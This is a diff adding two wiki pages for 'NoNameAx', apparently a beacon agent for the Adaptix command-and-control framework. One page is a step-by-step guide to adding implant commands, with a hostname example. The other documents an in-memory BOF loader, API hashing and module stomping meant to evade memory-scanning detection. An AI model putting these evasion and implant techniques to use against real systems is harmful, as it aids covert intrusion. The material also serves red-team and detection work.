+FUNC INT NaxCmdHostname( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + WCHAR wbuf[256]; + DWORD wlen = 256; + + if ( ! Nax->Kernel32.GetComputerNameExW( ComputerNamePhysicalDnsHostname, + wbuf, &wlen ) ) + return NAX_ERR_FAIL; + + INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, + (PCHAR)out, (INT)*out_len, + NULL, NULL ); + if ( n <= 0 ) return NAX_ERR_NOMEM; + + *out_len = (UINT32)( n - 1 ); /* exclude NUL terminator from byte count */ + return NAX_OK; +} +``` + +This command needs `GetComputerNameExW` (KERNEL32) and `WideCharToMultiByte` (KERNEL32), both of which are already resolved in `Bootstrap.c`. No new API resolution is needed. + +For reference, the existing `Whoami.c` handler follows the same pattern: + +```c +FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + WCHAR wbuf[256]; + DWORD wlen = 256; + + if ( ! Nax->Advapi32.GetUserNameW( wbuf, &wlen ) ) + return NAX_ERR_INVAL; + + INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, + (PCHAR)out, (INT)*out_len, + NULL, NULL ); + if ( n <= 0 ) return NAX_ERR_NOMEM; + *out_len = (UINT32)( n - 1 ); + return NAX_OK; +} +``` + +--- + +## Step 3: Dispatch.c -- Wire the Command + +**File:** `src_beacon/src/Commands/Dispatch.c` + +Two edits: + +### 3a. Add forward declaration in Nax.h + +**File:** `src_beacon/include/Nax.h` + +`Dispatch.c` includes `Nax.h`, which already contains all command handler prototypes. Add yours to the `/* ========= [ command handlers ] ========= */` section: + +```c +/* ========= [ command handlers ] ========= */ +// ... existing declarations ... +FUNC INT NaxCmdHostname( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +``` + +### 3b. Add switch case in NaxDispatch + +Add a new `case` before the `default:` label. Follow the existing pattern: + +```c + /* ---- CMD_HOSTNAME (0x40) ---- */ + case NAX_CMD_HOSTNAME: + *result_status = ( NaxCmdHostname( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0; + return 1; +``` + +**Pattern notes:** +- For commands **with arguments**, pass `task->Args` and `(UINT32)task->ArgsLen`: + ```c + *result_status = ( NaxCmdFoo( Nax, task->Args, (UINT32)task->ArgsLen, + result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + ``` +- For commands that need the `taskId` (e.g., async BOF, link): pass `task->TaskId` as an extra parameter. +- Return `1` if a RESULT frame should be sent back. Return `0` for fire-and-forget commands (exit, pivot_exec). + +--- + +## Step 4: Makefile -- Add Source File + +**File:** `src_beacon/Makefile` + +Add `Hostname.c` to the `C_SRCS_CORE` list: + +```makefile +C_SRCS_CORE := Main.c \ + Bootstrap.c Ldr.c Config.c Crypto.c Packer.c Cfg.c Helpers.c \ + Dispatch.c Whoami.c Sleep.c Core.c Bof.c \ + Screenshot.c Download.c Downloader.c Upload.c MemSave.c Ps.c \ + Loader.c Jobs.c BofStomp.c Sleepmask.c DllNotify.c Shell.c \ + Token.c \ + Hostname.c +``` + +The `VPATH` already includes `src/Commands`, so Make will find the file automatically: + +```makefile +VPATH := src:src/Core:src/Transport:src/Commands:src/Bof +``` + +--- + +## Step 5: Go Server -- CreateCommand + +**File:** `src_server/agent_nonameax/pl_commands.go` + +In the `CreateCommand` switch, add your case. This function is called when the operator submits the command from the UI. It packs the arguments into the wire format the beacon expects. + +### Wire format + +Every command follows this layout: + +``` +cmd_id(1) | args_len(4LE) | args... +``` + +For a no-argument command like `hostname`: + +```go +case "hostname": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_HOSTNAME, 0x00, 0x00, 0x00, 0x00}, // cmd_id + args_len=0 + Sync: true, + } + msg := adaptix.ConsoleMessageData{ + Status: messageSeverityInfo, + Message: "hostname task queued", + } + return task, msg, nil +``` + +### For commands with arguments + +Pack arguments with little-endian encoding. Example for a command that takes a file path: + +```go +case "example": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: example: 'path' argument required") + } + pathBytes := []byte(path) + data := make([]byte, 5+len(pathBytes)) + data[0] = CMD_EXAMPLE // cmd_id + binary.LittleEndian.PutUint32(data[1:5], uint32(len(pathBytes))) // args_len + copy(data[5:], pathBytes) // args + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "example queued"} + return task, msg, nil +``` + +--- + +## Step 6: Go Server -- ProcessTasksResult + +**File:** `src_server/agent_nonameax/pl_results.go` + +When the beacon sends back a RESULT frame, `ProcessData` decodes it and dispatches by command ID. The command ID is tracked via `pendingCmdIds` -- the server stores the first byte of `task.Data` (the `cmd_id`) when packing the task in `PackTasks`, then retrieves it when the result arrives. + +Find the `if cmdIdRaw, ok := pendingCmdIds.LoadAndDelete(taskIdStr); ok {` block and add your case inside it: + +```go +case status == STATUS_OK && cmdId == CMD_HOSTNAME: + displayText = string(data) +``` + +That is the entire handler for a command whose output is a plain UTF-8 string. + +### Structured output + +For commands that return binary data, parse the wire format and build a human-readable string: + +```go +case status == STATUS_OK && cmdId == CMD_EXAMPLE && len(data) >= 4: + count := binary.LittleEndian.Uint32(data[0:4]) + displayText = fmt.Sprintf("Found %d items", count) + // Build clearText with the detailed table for the expandable section + clearText = formatExampleTable(data[4:]) +``` + +- `displayText` appears as the one-line summary in the operator console. +- `clearText` appears in the expandable details section (used for tables, multi-line output). + +### Updating agent metadata + +If your command changes agent state visible in the UI (like `sleep` updates the Sleep column), call `Ts.TsAgentUpdateData(updated)` inside the result handler. See the `CMD_SLEEP` case for the pattern. + +--- + +## Step 7: AxScript -- Register the Command + +**File:** `src_server/agent_nonameax/ax_config.axs` + +In the `RegisterCommands()` function, create and register your command. + +### 7a. Create the command object + +```javascript +// ---- hostname ---- +let cmd_hostname = ax.create_command( + "hostname", + "Return the machine's hostname", + "hostname", + "Queuing hostname..." +); +``` + +Arguments to `ax.create_command`: +1. Command name (what the operator types) +2. Description (shown in help) +3. Example usage string +4. Message shown immediately when the command is queued + +### 7b. Add arguments (if any) + +```javascript +// String argument (required): +cmd_foo.addArgString("path", true, "Target file path"); + +// String argument (optional): +cmd_foo.addArgString("filter", false, "Optional filter"); + +// Integer argument: +cmd_foo.addArgInt("count", true, "Number of items"); + +// Boolean flag -- dash is part of the name, exactly 2 params: +cmd_foo.addArgBool("-v", "Verbose output"); + +// File upload (content becomes base64 in args): +cmd_foo.addArgFile("file", true, "COFF object file"); +``` + +### 7c. Add to the commands group + +Add your command variable to the array in `ax.create_commands_group`: + +```javascript +let group = ax.create_commands_group("NoNameAx", [ + // cmd_whoami, + cmd_sleep, + cmd_cd, cmd_pwd, cmd_mkdir, cmd_rmdir, cmd_rm, cmd_cat, cmd_ls, cmd_ps, + cmd_token, + cmd_screenshot, cmd_download, cmd_upload, cmd_bof, + cmd_execute, + cmd_job, + cmd_chunksize, + cmd_profile, + cmd_bof_stomp, + cmd_sleepmask_set, + cmd_sleepobf, + cmd_dll_notify, + cmd_link, cmd_unlink, + cmd_lportfwd, cmd_rportfwd, cmd_socks, + cmd_hostname, // <-- add here + cmd_terminate +]); +``` + +### AxScript gotchas + +- **Agent name is case-sensitive.** The filter array must use `"NoNameAx"` (mixed case), matching `config.yaml` exactly. +- **`container.put()` only accepts widget objects**, not bare values. If you add build-UI fields, always pass the widget. +- **`addArgBool` takes exactly 2 parameters.** The dash is part of the name: `addArgBool("-flag", "description")`. + +### Sub-commands + +For commands with sub-commands (like `ps list`, `ps kill`, `ps run`), create the children first, then attach them: + +```javascript +let cmd_foo_bar = ax.create_command("bar", "Description", "foo bar", "Queuing..."); +cmd_foo_bar.addArgString("target", true, "Target host"); + +let cmd_foo_baz = ax.create_command("baz", "Description", "foo baz", "Queuing..."); + +let cmd_foo = ax.create_command("foo", "Parent command description"); +cmd_foo.addSubCommands([cmd_foo_bar, cmd_foo_baz]); +``` + +In `CreateCommand()`, the parent name arrives as `args["command"]` and the child as `args["subcommand"]`. + +--- + +## Step 8: If You Need New Win32 APIs + +If your command uses a Win32 function not already in `NAX_INSTANCE`, you need three changes. + +### 8a. Instance.h -- Add to DLL bundle struct + +Find the appropriate struct (`NAX_KERNEL32`, `NAX_NTDLL`, `NAX_ADVAPI32`, etc.) and add the declaration **at the END**: + +```c +/* ========= [ kernel32.dll ] ========= */ + +typedef struct { + HMODULE Handle; + D_API( ExitProcess ); + D_API( Sleep ); + // ... existing entries ... + D_API( GetCurrentProcess ); + UINT ( __stdcall *GetACP )( VOID ); + UINT ( __stdcall *GetOEMCP )( VOID ); + D_API( GetComputerNameA ); // <-- add at END +} NAX_KERNEL32; +``` + +**Critical rule:** Always add new entries at the END of the struct. Mid-struct insertion silently shifts all subsequent function pointer offsets. Every existing call through the struct will resolve to the wrong function, causing crashes or silent corruption. There is no compiler warning -- the struct is just a bag of `void*` to the linker. + +### 8b. Bootstrap.c -- Resolve the function + +In `NaxBootstrap()`, add the resolution call after the existing ones for that DLL: + +```c +Nax->Kernel32.GetComputerNameA = (PVOID)NaxGetProc( hK32, H_GETCOMPUTERNAMEA ); +``` + +### 8c. Macros.h -- Add the hash + +If the hash constant does not already exist, compute it. `NaxHashStr` uppercases the input before hashing: + +```bash +python3 -c " +import struct +h = 0x811c9dc5 +for c in 'GETCOMPUTERNAMEA': + h ^= ord(c) + h = (h * 0x01000193) & 0xFFFFFFFF +print(f'#define H_GETCOMPUTERNAMEA 0x{h:08X}u') +" +``` + +Add the result to `Macros.h`: + +```c +#define H_GETCOMPUTERNAMEA 0xD1AFE3BCu +``` + +### 8d. Full rebuild required + +After any header change: + +```bash +make clean && make debug +``` + +The incremental `make link` / `make debug-link` targets only recompile `Config.c` and re-link. They detect header changes and fall back to a full rebuild automatically, but `make clean && make` is the safest path. + +--- + +## Step 9: Build and Test + +### Debug build (PIC shellcode with debug prints) + +```bash +make clean && make debug +``` + +This produces `build/http/beacon.x64.debug.bin` -- load it with the loader exactly like the release blob, but `NaxDbgx` / `NaxDbg` output appears in DebugView / x64dbg. + +### Quick rebuild (no header changes) + +```bash +make debug-link +``` + +Only recompiles `Config.c` and re-links. Safe when you only changed `.c` files in `src/Commands/` (no header modifications). The Makefile detects stale struct headers and falls back to a full rebuild if needed. + +### Go plugin + +```bash +cd src_server/agent_nonameax && make +``` + +Copy the resulting `.so` to `Server/extenders/agent_nonameax/`. + +### Verify + +1. Deploy the new beacon and Go plugin. +2. Start a listener and get a callback. +3. Type `hostname` in the operator console. +4. Confirm the result appears with a green success status. + +--- + +## Full Example: `hostname` Command + +Here is every file change collected in one place. + +### Wire.h + +```c +#define NAX_CMD_HOSTNAME 0x40u +``` + +### pl_main.go (constant) + +```go +CMD_HOSTNAME byte = 0x40 +``` + +### Hostname.c + +```c +/* beacon/src/Commands/Hostname.c + * CMD_HOSTNAME (0x40) - return machine hostname as UTF-8. */ + +#include "Macros.h" +#include "Instance.h" +#include "Wire.h" + +FUNC INT NaxCmdHostname( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + WCHAR wbuf[256]; + DWORD wlen = 256; + + if ( ! Nax->Kernel32.GetComputerNameExW( ComputerNamePhysicalDnsHostname, + wbuf, &wlen ) ) + return NAX_ERR_FAIL; + + INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, + (PCHAR)out, (INT)*out_len, + NULL, NULL ); + if ( n <= 0 ) return NAX_ERR_NOMEM; + + *out_len = (UINT32)( n - 1 ); + return NAX_OK; +} +``` + +### Nax.h (forward declaration) + +```c +/* ========= [ command handlers ] ========= */ +// ... existing declarations ... +FUNC INT NaxCmdHostname( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +``` + +### Dispatch.c (switch case) + +```c + /* ---- CMD_HOSTNAME (0x40) ---- */ + case NAX_CMD_HOSTNAME: + *result_status = ( NaxCmdHostname( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0; + return 1; +``` + +### Makefile + +```makefile +C_SRCS_CORE := Main.c \ + Bootstrap.c Ldr.c Config.c Crypto.c Packer.c Cfg.c Helpers.c \ + Dispatch.c Whoami.c Sleep.c Core.c Bof.c \ + Screenshot.c Download.c Downloader.c Upload.c MemSave.c Ps.c \ + Loader.c Jobs.c BofStomp.c Sleepmask.c DllNotify.c Shell.c \ + Token.c \ + Hostname.c +``` + +### pl_commands.go + +```go +case "hostname": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_HOSTNAME, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{ + Status: messageSeverityInfo, + Message: "hostname task queued", + } + return task, msg, nil +``` + +### pl_results.go + +Inside the `if cmdIdRaw, ok := pendingCmdIds.LoadAndDelete(taskIdStr); ok {` block: + +```go +case status == STATUS_OK && cmdId == CMD_HOSTNAME: + displayText = string(data) +``` + +### ax_config.axs + +```javascript +// ---- hostname ---- +let cmd_hostname = ax.create_command( + "hostname", + "Return the machine's hostname", + "hostname", + "Queuing hostname..." +); +``` + +And in the commands group array: + +```javascript +let group = ax.create_commands_group("NoNameAx", [ + // cmd_whoami, + cmd_sleep, + cmd_cd, cmd_pwd, cmd_mkdir, cmd_rmdir, cmd_rm, cmd_cat, cmd_ls, cmd_ps, + cmd_token, + cmd_screenshot, cmd_download, cmd_upload, cmd_bof, + cmd_execute, + cmd_job, + cmd_chunksize, + cmd_profile, + cmd_bof_stomp, + cmd_sleepmask_set, + cmd_sleepobf, + cmd_dll_notify, + cmd_link, cmd_unlink, + cmd_lportfwd, cmd_rportfwd, cmd_socks, + cmd_hostname, + cmd_terminate +]); +``` + +--- + +## Checklist + +Use this as a pre-commit checklist whenever you add a command: + +| # | Layer | File | What to do | +|---|-------|------|------------| +| 1 | Wire ID (C) | `src_beacon/include/Wire.h` | `#define NAX_CMD_YOURNAME 0xNN` | +| 2 | Wire ID (Go) | `src_server/agent_nonameax/pl_main.go` | `CMD_YOURNAME byte = 0xNN` | +| 3 | Handler | `src_beacon/src/Commands/YourName.c` | Implement the beacon-side logic | +| 4 | Dispatch (decl) | `src_beacon/include/Nax.h` | Forward declaration in command handlers section | +| 5 | Dispatch (case) | `src_beacon/src/Commands/Dispatch.c` | `case NAX_CMD_YOURNAME:` in switch | +| 6 | Build | `src_beacon/Makefile` | Add `YourName.c` to `C_SRCS_CORE` | +| 7 | Pack args | `src_server/agent_nonameax/pl_commands.go` | `case "yourname":` in `CreateCommand()` | +| 8 | Parse result | `src_server/agent_nonameax/pl_results.go` | `case cmdId == CMD_YOURNAME:` in `ProcessData()` | +| 9 | UI | `src_server/agent_nonameax/ax_config.axs` | `ax.create_command(...)` + add to group array | +| 10 | APIs (if needed) | `src_beacon/include/Instance.h` | `D_API(Func)` at END of struct | +| 11 | APIs (if needed) | `src_beacon/src/Core/Bootstrap.c` | `NaxGetProc(hDll, H_FUNC)` | +| 12 | APIs (if needed) | `src_beacon/include/Macros.h` | FNV1a hash constant | +| 13 | Build | `src_beacon/` | `make clean && make debug` | +| 14 | Build | `src_server/agent_nonameax/` | `make` | + +--- + +## Common Pitfalls + +**Mid-struct insertion in Instance.h.** Adding a `D_API()` entry anywhere except the END of a DLL bundle struct silently shifts all subsequent function pointer offsets. Every call through those pointers will invoke the wrong function. This produces crashes that look completely unrelated to your change. + +**String literals in PIC code.** The beacon is position-independent shellcode extracted from `.text`. String literals go into `.rdata`, which is stripped. Use stack-allocated `CHAR` arrays: + +```c +/* WRONG - lands in .rdata, crashes at runtime */ +char* msg = "hello"; + +/* CORRECT - stack array, stays in .text */ +CHAR msg[] = { 'h', 'e', 'l', 'l', 'o', '\0' }; +``` + +**Mismatched command IDs.** If `Wire.h` says `0x40` but `pl_main.go` says `0x41`, the beacon will return results tagged with the wrong ID. The Go server will not find the `pendingCmdIds` entry, and the result will show as a generic "command failed" with no type-specific formatting. + +**Forgetting `pendingCmdIds`.** The server stores the command ID byte when packing tasks (in `PackTasks`). If your `CreateCommand` case sets `Data[0]` to the wrong value, result parsing will route to the wrong handler. + +**Stack overflow in beacon.** The beacon runs in a thread with limited stack. Keep stack-allocated buffers under 1 KB. For larger allocations, use: + +```c +PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, size ); +// ... use buf ... +Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, buf ); +``` + +**GetUserNameW is ADVAPI32, not KERNEL32.** Double-check which DLL exports the function you need. The bundle struct name must match: `Nax->Advapi32.GetUserNameW`, not `Nax->Kernel32.GetUserNameW`. + +**FNV1a hashes use uppercase input.** `NaxHashStr` uppercases the input before hashing. When computing hashes with the Python script, pass the function name in uppercase: `GETCOMPUTERNAMEA`, not `GetComputerNameA`. diff --git a/wiki/BOF-Execution.md b/wiki/BOF-Execution.md new file mode 100644 index 0000000..496e18f --- /dev/null +++ b/wiki/BOF-Execution.md @@ -0,0 +1,459 @@ +# BOF Execution + +BOF (Beacon Object File) execution lets operators run compiled C object files inside the beacon's process. No child process is created, nothing is written to disk. The beacon contains a built-in COFF loader that allocates, relocates, and executes BOFs entirely in memory. + +A BOF is a standard COFF `.o` file compiled with MinGW or MSVC. It exports a single entry point named `go`, which receives packed arguments from the operator. It can call back into the beacon via the Beacon API (output, data parsing, format buffers) and can call any Win32 API using the `MODULE$FUNCTION` naming convention. + +## Source Layout + +The COFF loader is a unity build rooted at `src_beacon/src/Bof/Loader.c`: + +| File | Role | +|------|------| +| `Loader.c` | COFF parser, section allocator, relocation engine, entry point search, `NaxBofExecute()` | +| `Api.c` | Beacon API implementations (BeaconOutput, BeaconDataParse, BeaconFormat*, etc.) | +| `Stomp.c` | Module stomping allocator - execute BOF .text from image-backed DLL memory | + +`Loader.c` includes `Api.c` and `Stomp.c` via `#include` directives, producing a single translation unit. This is required because MinGW cross-unit references produce `.refptr.*` stubs that live outside `.text`. Since only `.text` is extracted for PIC shellcode, those stubs would be missing at runtime and all function addresses would resolve to stale link-time offsets. + +## Loading Pipeline + +`NaxBofExecute()` processes a COFF object in six steps: + +### Step 1: Allocate Sections + +Each COFF section gets its own allocation. The loader tries module stomping first (`NaxBofStompAlloc`); if stomping is disabled or the BOF does not fit, it falls back to `NtAllocateVirtualMemory` with `MEM_TOP_DOWN`. + +`MEM_TOP_DOWN` places allocations near DLLs at high virtual addresses (around `0x7FF9...`), keeping REL32 displacements within the +/-2 GB range required by x64 RIP-relative addressing. + +After all sections are allocated, a 4 KB `mapFunctions` buffer is allocated in the same region. Allocating it last (not first) is important: allocating first would place it in a separate region 6 TB away from the sections, overflowing 32-bit REL32 displacements. + +`.bss` sections (zero-initialized globals) have `SizeOfRawData = 0` and `VirtualSize > 0`. The loader uses `VirtualSize` in that case and relies on `NtAllocateVirtualMemory`'s zero-fill guarantee. + +`image_base` is set to the minimum address across all allocated sections and `mapFunctions`. This ensures all `ADDR32NB` RVAs are non-negative. + +### Step 2: Process Relocations + +The loader walks every relocation entry in every section. For each relocation: + +- **Internal symbols** (SectionNumber > 0) resolve to `mapSections[secIdx] + sym->Value` +- **External symbols** go through `NaxBofResolveExternal()` (described below) + +The `__imp_` prefix (6 bytes) is stripped before resolution, so both `__imp_BeaconOutput` and `BeaconOutput` resolve identically. + +Supported relocation types: + +| Type | Architecture | Behavior | +|------|-------------|----------| +| `IMAGE_REL_AMD64_ADDR64` (0x01) | x64 | 64-bit absolute address; adds `sym_addr` to the 8-byte value at the relocation site | +| `IMAGE_REL_AMD64_ADDR32NB` (0x03) | x64 | 32-bit RVA relative to `image_base`; reads 4-byte addend, adds `sym_addr - image_base` | +| `IMAGE_REL_AMD64_REL32` through `REL32_5` (0x04-0x09) | x64 | 32-bit RIP-relative displacement; see below | +| `IMAGE_REL_I386_DIR32` (0x06) | x86 | 32-bit absolute address | +| `IMAGE_REL_I386_REL32` (0x14) | x86 | 32-bit PC-relative displacement | + +#### REL32 and mapFunctions + +External `REL32` relocations cannot point directly to 64-bit function addresses (the displacement would overflow 32 bits). Instead, the loader stores the 64-bit function pointer in the next free 8-byte slot of `mapFunctions` and patches the displacement to point at that slot. This adds one level of indirection (matching the `FF 15` indirect call pattern from `__imp_*` symbols) but keeps everything within +/-2 GB. + +The formula applied at the relocation site: + +``` +disp32 = addend + target - (loc + 4 + delta) +``` + +Where `delta` is `Type - IMAGE_REL_AMD64_REL32` (0 for REL32, 1 for REL32_1, etc.) and `addend` is the existing 4-byte signed value at the site. + +Internal symbols (same COFF, section already allocated nearby) skip `mapFunctions` and patch the displacement directly. + +### Step 3: Set Protections + +**Stomped path**: `.text` is set to `PAGE_EXECUTE_READ` (RX); all other sections stay `PAGE_READWRITE` (RW). This is the clean configuration. + +**Non-stomped path**: All sections get `PAGE_EXECUTE_READWRITE` (RWX). Fine-grained RX/RO protection crashes because the Windows unwind machinery writes through `.pdata` and `.xdata` sections before control reaches the first BOF instruction. + +### Step 3b: Register .pdata + +For stomped BOFs, the loader injects the BOF's `RUNTIME_FUNCTION` entries into the sacrificial DLL's `.pdata` section. The Inverted Function Table (IFT) already points to that `.pdata`, so the unwinder finds the BOF's entries through the normal IFT lookup path - no dynamic registration needed. + +Entries are placed at the end of the DLL's `.pdata` (the leading entries were zeroed during stomp setup, so they sort before the BOF entries and the IFT binary search still works). + +If `.pdata` injection fails, the loader falls back to `RtlAddFunctionTable` for dynamic registration. + +### Step 4: Find Entry + +The loader scans the COFF symbol table for a symbol named `go` (or `_go` on x86). This is the BOF's entry point. The function signature is: + +```c +void go(char* args, unsigned long args_size); +``` + +### Step 5: Execute + +The loader calls `go(user_args, user_args_size)` directly. The BOF runs synchronously in the calling thread (for sync BOFs) or in a thread pool worker (for async BOFs). + +### Step 6: Cleanup + +**Stomped**: Restore the DLL's original `.text` and `.pdata` content from backups. Free all private-memory sections (non-`.text`). + +**Non-stomped**: Free all sections and `mapFunctions` via `NtFreeVirtualMemory`. + +If `.pdata` was registered dynamically (fallback path), `RtlDeleteFunctionTable` removes it before freeing memory. + +## External Symbol Resolution + +`NaxBofResolveExternal()` resolves symbols in three stages: + +1. **Beacon API table** - Hashes the symbol name (FNV1a-32) and checks against the 29-entry API table. Matches return the pointer to the beacon's implementation directly. + +2. **MODULE$FUNCTION pattern** - If the symbol contains `$` (e.g., `KERNEL32$VirtualAlloc`), the loader splits at `$`. The module name is lowercased, suffixed with `.dll`, hashed with FNV1a-32, and resolved via PEB walk (`NaxGetModule`). If the module is not loaded, `LoadLibraryA` loads it. The function is then resolved via `GetProcAddress` (not `NaxGetProc`) because `GetProcAddress` handles forwarded exports (e.g., `ole32!CreateStreamOnHGlobal` forwarded to `combase`) that the beacon's hash-based resolver cannot follow. + +3. **Bare symbol fallback** - Symbols with no `$` separator that did not match the Beacon API table are passed to `GetProcAddress(kernel32, sym_name)` as a last resort. This handles `__imp_*` symbols from `` declarations (e.g., `HeapAlloc`, `VirtualAlloc`) that are not in the Beacon API table. + +Unresolved symbols cause `NaxBofExecute` to abort with `NAX_ERR_FAIL` and send the symbol name to the operator via `BeaconOutput(CALLBACK_ERROR, ...)`. + +## Beacon API + +The beacon exposes 29 functions to BOFs, initialized at the start of every `NaxBofExecute` call via `NaxBofInitApiTable()`. Each entry is a hash/pointer pair; the hash is FNV1a-32 of the function name. + +### Data Parsing + +BOF arguments arrive as a packed binary buffer with a 4-byte LE total-length header. `BeaconDataParse` skips this header and initializes the parser state. + +```c +void BeaconDataParse(datap* parser, char* buffer, int size); +int BeaconDataInt(datap* parser); // 4-byte LE integer +short BeaconDataShort(datap* parser); // 2-byte LE short +char* BeaconDataExtract(datap* parser, int* size); // length-prefixed blob +char* BeaconDataPtr(datap* parser, int size); // fixed-size read (no prefix) +int BeaconDataLength(datap* parser); // remaining bytes +``` + +### Output + +```c +void BeaconOutput(int type, const char* data, int len); +void BeaconPrintf(int type, const char* fmt, ...); +``` + +Output accumulates in `NAX_INSTANCE.BofCtx.Buf`, an 8 KB heap buffer. Consecutive `BeaconOutput` calls are separated by `\n` if the previous call did not end with one. `BeaconPrintf` formats into a 1 KB stack buffer via `_vsnprintf` then calls `BeaconOutput`. + +Output type constants: + +| Constant | Value | Meaning | +|----------|-------|---------| +| `CALLBACK_OUTPUT` | 0x00 | Normal text output | +| `CALLBACK_OUTPUT_OEM` | 0x1E | OEM-encoded text | +| `CALLBACK_OUTPUT_UTF8` | 0x20 | UTF-8 text | +| `CALLBACK_ERROR` | 0x0D | Error message | + +### Format Buffer + +Heap-allocated accumulation buffer for building structured output: + +```c +void BeaconFormatAlloc(formatp* fmt, int maxsz); +void BeaconFormatReset(formatp* fmt); +void BeaconFormatFree(formatp* fmt); +void BeaconFormatAppend(formatp* fmt, char* text, int len); +void BeaconFormatPrintf(formatp* fmt, char* fmt_str, ...); +char* BeaconFormatToString(formatp* fmt, int* size); +void BeaconFormatInt(formatp* fmt, int value); // 4-byte big-endian +``` + +`BeaconFormatInt` packs integers in network byte order (big-endian), matching the Cobalt Strike convention. + +### Utility + +```c +BOOL BeaconIsAdmin(void); // stub (Phase 7A) +BOOL BeaconUseToken(HANDLE token); // stub +void BeaconRevertToken(void); // stub +void BeaconGetSpawnTo(BOOL x86, char* buf, int len); // stub +BOOL BeaconInformation(void* info); // stub +BOOL toWideChar(char* src, WCHAR* dst, int max); // MultiByteToWideChar wrapper +``` + +### Adaptix Extensions + +Two additional callbacks for sending media back to the Adaptix server: + +```c +void AxAddScreenshot(char* note, char* data, int len); +void AxDownloadMemory(char* filename, char* data, int len); +``` + +Each call allocates a `NAX_BOF_MEDIA` node and prepends it to `BofCtx.MediaHead`. Multiple media entries per BOF execution are supported. Wire format: + +``` +Screenshot (0x81): [0x81][note_len(4LE)][note][img_len(4LE)][img] +Download (0x82): [0x82][name_len(4LE)][name][data_len(4LE)][data] +``` + +### Win32 Proxies + +Four functions are proxied from the beacon's resolved kernel32 pointers: + +```c +LoadLibraryA(...) +GetProcAddress(...) +GetModuleHandleA(...) +FreeLibrary(...) +``` + +These handle BOFs that declare `DECLSPEC_IMPORT` Win32 functions (producing `__imp_LoadLibraryA` COFF symbols with no `MODULE$` prefix). + +### Async BOF APIs + +```c +void BeaconWakeup(void); // signals main thread to drain output +HANDLE BeaconGetStopJobEvent(void); // event handle, set when operator kills the job +``` + +## Module Stomping + +When enabled, BOF `.text` executes from image-backed (IMG) memory instead of private (PRV) allocations. This avoids the "executable private memory" detection heuristic. + +### How It Works + +At beacon startup, `NaxBofStompInit()` loads one or more sacrificial DLLs using `LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES)`. This gives each DLL a clean image-backed `.text` section without calling `DllMain` or resolving imports. + +For each DLL, the loader: + +1. Locates the `.text` section and records its base address and capacity +2. Backs up the original `.text` content (for restoration after BOF execution) +3. Locates and backs up the `.pdata` section (exception unwind data) + +### Slot Pool + +The stomp pool has two tiers: + +- **Sync slot** (1) - Used for synchronous BOF execution. Configured via `Config.BofSyncDll`. +- **Async slots** (up to `BOF_STOMP_ASYNC_MAX`) - Used for async BOFs. Each concurrent async BOF needs its own slot. Configured via `Config.BofAsyncDlls[]`. + +Slot selection: if `CurrentJob == NULL` (sync), use the sync slot. Otherwise, pick the first free async slot whose `.text` capacity fits the BOF. + +### Near Allocator + +Non-`.text` COFF sections and `mapFunctions` must be within +/-2 GB of the stomped DLL for REL32 relocations. `StompAllocNear()` probes 64 KB-aligned addresses forward and backward from the DLL image, within +/-16 MB, using `NtAllocateVirtualMemory` without `MEM_TOP_DOWN`. + +### Stomp Lifecycle + +**Allocate**: VirtualProtect the DLL's `.text` to RW, zero it, copy the BOF's `.text` in. Zero the DLL's `.pdata` so injected entries take priority. Allocate non-`.text` sections and `mapFunctions` nearby. + +**Protect**: Set DLL `.text` back to RX. Private sections stay RW. + +**Free**: Restore original `.text` and `.pdata` from backups. Free all private allocations. Mark the slot as not in use. + +### Runtime Reconfiguration + +The `bof_stomp` command (`CMD_BOF_STOMP`, 0x31) allows operators to swap sacrificial DLLs at runtime without restarting the beacon. Sub-commands: + +| Sub-command | Wire byte | Effect | +|-------------|-----------|--------| +| sync | 0x00 | Replace the sync DLL with a new one | +| async | 0x01 | Replace the entire async pool | +| show | 0x02 | Dump current stomp configuration (DLL names, .text capacity, in-use status) | + +## Sync vs Async Execution + +### Sync BOFs + +`NaxCmdBof()` allocates an 8 KB output buffer in `BofCtx`, calls `NaxBofExecute()` directly, and returns the output in the task result. The beacon's heartbeat loop is blocked for the duration. + +### Async BOFs + +When the operator passes the `-a` flag, `NaxCmdBof()` creates a `NAX_JOB` and submits it to the Windows thread pool via `TpAllocWork` / `TpPostWork`. The command handler returns `NAX_STATUS_ASYNC` immediately, and the heartbeat loop continues. + +The job thread: + +1. Sets `TEB->ArbitraryUserPointer` to the `NAX_INSTANCE` pointer (so `G_INSTANCE` works) +2. Swaps `Nax->BofCtx` to the job's private output buffer (under a critical section) +3. Calls `NaxBofExecute()` +4. Swaps `BofCtx` back and marks the job as `NAX_JOB_FINISHED` +5. Signals `JobWakeEvent` so the main thread drains output on the next heartbeat + +Output drains incrementally: `NaxProcessJobs()` runs each heartbeat, tries to acquire the job's critical section, and packs any accumulated output into job result frames. + +### Job Lifecycle + +``` +PENDING -> RUNNING -> FINISHED -> (drained + freed) + -> KILLED -> (drained + freed) + -> KILLED [abandoned] -> (leaked) +``` + +**Watchdog**: Each job has a timeout (default 60 seconds, configurable per-BOF). `NaxProcessJobs()` 